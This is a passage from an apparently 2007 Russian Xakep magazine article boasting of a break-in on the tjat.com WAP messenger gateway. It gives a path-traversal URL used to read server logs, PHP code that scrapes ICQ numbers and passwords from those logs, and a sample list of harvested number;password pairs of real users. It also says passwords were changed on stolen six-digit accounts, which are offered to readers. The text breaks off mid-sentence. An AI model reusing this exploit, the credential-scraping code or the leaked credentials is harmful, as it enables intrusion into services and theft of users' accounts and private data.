Май - Xakep Online

взлом
Msn-аккаунты
IM-пейджер в WAP
Затем я отыскал директорию с логами:
http://wap.tjat.com/?lang=ru
/../../../../../../../../../../
../../..
/usr/local/apache/logs/temp.
tjat.comaccess_log&&dira=./../../logs
Мое внимание сразу привлек лог total_tjat.
com-access_log, весил он немало — аж
1981336,5 Кб. Обычными средствами php
открыть его было невозможно. Не особо
расстроившись, я немного погуглил на
эту тему и написал небольшой скриптик,
позволяющий открывать такие большие
файлы:
Загрузив часть лога, я изучил его структуру и
изменил свою функцию так, чтобы она выводила
только асечные номера и пароли:
function bigfile($filename)
{
$fd = fopen($filename, "r");
while (!feof($fd)) {
$buffer = fgets($fd, 20*4096);
preg_match_all('/
icq_uin=([0-9]{5,9})&icq_
pwd=(.*)(&|HTTP)/i',
$buffer,$matches);
$matches[0] = array_
unique($matches[0]);
!empty($matches[0][0]) ? print
$matches[0][0]."\n" : '';
fclose($fd);
}
}
В результате браузер выдал мне кучу неупорядоченной
информации, содержащую пароли и
номера. Теперь их надо было как-то очистить от
лишнего мусора и систематизировать. Для этого
я снова применил свои кодерские способности и
написал простенький парсер, который выводил
мне упорядоченный список без повторов в формате
uin;password и общее количество всех номеров:
Затем я запустил свое творение у себя на
локалхосте, вбил туда хаотичный список с tjat.com и
выполнил, получив в итоге список уинов и паролей
(привожу небольшой кусочек тут, да простят
меня владельцы этих номеров):
204685805;tatyshka
204755617;120681
204767779;gn1260
204845253;maximko
204876333;12345678
204968096;1q2a3z
205032105;049989350
205191731;asdfgh
Приведенные здесь уины я не тронул, впрочем,
как и остальные семи-, восьми- и девятизнаки,
а на всех полученных шестизнаках с помощью
товарища DarkFull'а были изменены пароли.
Так что, если будет нужен короткий номерок,
обращайся :).
Развязка
Итак, tjat.com предоставляет доступ не только к
ICQ, но и к msn, причем в логах msn’овских аккаунтов
раза в 3 больше, чем асечных. Я подумал, а почему
бы не составить список тех же hotmail’овских
/ 088
xàêåð 05 /101/ 07